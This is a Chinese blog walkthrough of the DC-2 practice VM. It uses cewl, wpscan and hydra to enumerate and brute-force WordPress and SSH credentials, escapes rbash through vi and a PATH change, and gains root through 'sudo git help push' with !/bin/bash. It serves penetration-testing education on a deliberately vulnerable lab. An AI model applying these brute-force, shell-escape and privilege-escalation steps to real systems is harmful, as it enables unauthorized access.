DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)

2024-01-01 15:58

本文主要是介绍DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一. 环境

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

02.访问地址192.168.1.8:80

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

​三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

01. 使用cewl生成密码

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

03. wpscan爆破拿到密码

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

五. 获取su命令权限,利用su提权到jerry获取flag4

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt


一. 环境

靶机:192.168.1.8

攻击机kali:192.168.1.209

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集(识别目标主机,端口,拿到flag1)

01. 主机发现

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机2. nmap -sn 192.168.1.0/24 #主机发现3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口-A 全面系统检测、启用脚本检测、扫描等-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

nmap扫描后,发现80,7744端口

02.访问地址192.168.1.8:80

从80端口寻找突破口,访问一下http://192.168.1.8:80,发现URL栏写的不是靶机的ip,而是http://dc-2/,而很明显,DNS没有解析出来

03. 注意到nmap扫描时有这样一个提示,基本可以确认需要手动配置hosts文件

04. 配置hosts文件,再次访问,拿到flag1

sudo vim /etc/hosts       #编辑host文件
在文件添加:192.168.1.8(靶机ip) dc-2

三. wpscan枚举,cwel生成字典,爆破获取密码,登录用户,拿到flag2

WordPress 是一个免费的开源内容管理系统,用 PHP 编写,并与 MySQL 或 MariaDB 数据库配对。功能包括插件架构和模板系统。 cewl是一个网页关键字抓取工具,cewl是一个kali自带的密码生成工具,WordPress有一个kali自带扫描工具wpscan可以爆破网站的用户名,想到用关键字作为密码继续进行爆破。

通过flag1中的cewl--->生成字典,wordpress--->wpscan扫描工具(可以爆破网站的用户名)

01. 使用cewl生成密码

1. cewl -w dc2_passwords.txt http://dc-2  #生成字典

02. 确定是wordpress,使用wpscan工具扫描,枚举出了用户

1. wpscan --url dc-2 -e u 或 wpscan --url http://dc-2 --enumerate u #暴力枚举用户名得出结果有三个用户admin,jerry,tom,将这三个用户保存在us.txt文件中(可以用vi写入)wpscan --url dc-2    #扫描wordpress的版本和ip等信息2. 开始爆破wpscan --url http://dc-2 -U users.txt dc2_Passswords.txt    或者wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

03. wpscan爆破拿到密码

wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

04. 利用dirb工具 或 dirsearch工具进行目录扫描,找到登录界面

1. dirb http://dc-2 或者 python dirsearch.py -u http://dc-2 #目录扫描

05. 登录tom用户,没有找到flag;登录jerry用户,拿到flag

flag2中提示wordpress找不到利用漏洞,目录遍历没有获取有用的信息。

四. Hydra爆破ssh密码,进行ssh远程登录,拿到flag3

01. hydra爆破ssh(这里可以用上面的密码字典和账号)

1. hydra -L user.dic -P pwd.dic ssh://192.168.1.104 -s 7744 -vV

02. 爆破成功,ssh远程登录,tom成功登录,找到flag3

03. cat无法查看文件,被“rbash”限制了,尝试用vi,

1. compgen -c       #查看可以使用的指令
2. vi flag3.txt     #查看内容

 提示tom、jerry和su,flag4的获取需要su提权到jerry

五. 获取su命令权限,利用su提权到jerry获取flag4

su命令被限制,无法进行操作,需要绕过rbash命令限制。(可以了解下rbash逃逸)

01. 尝试使用vi绕过,但没有成功。下面是vi绕过rbash方法。

vi   #直接vi编辑 (ESC-->shift+:)执行下面两条命令
:set shell=/bin/sh
:shell

02. 判断需要添加环境变量,拿到su权限。(根据echo $PATH返回的内容判断的)

1. echo $PATH #查看路径
2. #添加环境变量export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

03. su提权到jerry,拿到flag4。

六. 最后可能是需要拿到root权限,获取final-flag5

sudo -l  #列出目前用户可执行与无法执行的指令。
//--git提权
sudo git help push #进入git交互式界面
!/bin/bash         #输入命令回车,拿到root权限
//--拿到final_flag.txt
cd /root         

01. 列出目前可执行的命令,利用git提权 

02. 在交互式界面输入!/bin/bash,获取root权限

03. 拿到final-flag.txt

这篇关于DC-2靶机渗透测试(cewl,wpscan,hydra爆破,rbash逃逸,vi提权,git提权)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/559762

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

git ssh key相关

step1、进入.ssh文件夹   (windows下 下载git客户端)   cd ~/.ssh(windows mkdir ~/.ssh) step2、配置name和email git config --global user.name "你的名称"git config --global user.email "你的邮箱" step3、生成key ssh-keygen

查看提交历史 —— Git 学习笔记 11

查看提交历史 查看提交历史 不带任何选项的git log-p选项--stat 选项--pretty=oneline选项--pretty=format选项git log常用选项列表参考资料 在提交了若干更新,又或者克隆了某个项目之后,你也许想回顾下提交历史。 完成这个任务最简单而又有效的 工具是 git log 命令。 接下来的例子会用一个用于演示的 simplegit

记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 文章目录 文件的状态三个区域检查当前文件状态跟踪新文件取消跟踪(un-tracking)文件重新跟踪(re-tracking)文件暂存已修改文件忽略某些文件查看已暂存和未暂存的修改提交更新跳过暂存区删除文件移动文件参考资料 咱们接着很多天以前的 取得Git仓库 这篇文章继续说。 文件的状态 不管是通过哪种方法,现在我们已经有了一个仓库,并从这个仓

忽略某些文件 —— Git 学习笔记 05

忽略某些文件 忽略某些文件 通过.gitignore文件其他规则源如何选择规则源参考资料 对于某些文件,我们不希望把它们纳入 Git 的管理,也不希望它们总出现在未跟踪文件列表。通常它们都是些自动生成的文件,比如日志文件、编译过程中创建的临时文件等。 通过.gitignore文件 假设我们要忽略 lib.a 文件,那我们可以在 lib.a 所在目录下创建一个名为 .gi

取得 Git 仓库 —— Git 学习笔记 04

取得 Git 仓库 —— Git 学习笔记 04 我认为, Git 的学习分为两大块:一是工作区、索引、本地版本库之间的交互;二是本地版本库和远程版本库之间的交互。第一块是基础,第二块是难点。 下面,我们就围绕着第一部分内容来学习,先不考虑远程仓库,只考虑本地仓库。 怎样取得项目的 Git 仓库? 有两种取得 Git 项目仓库的方法。第一种是在本地创建一个新的仓库,第二种是把其他地方的某个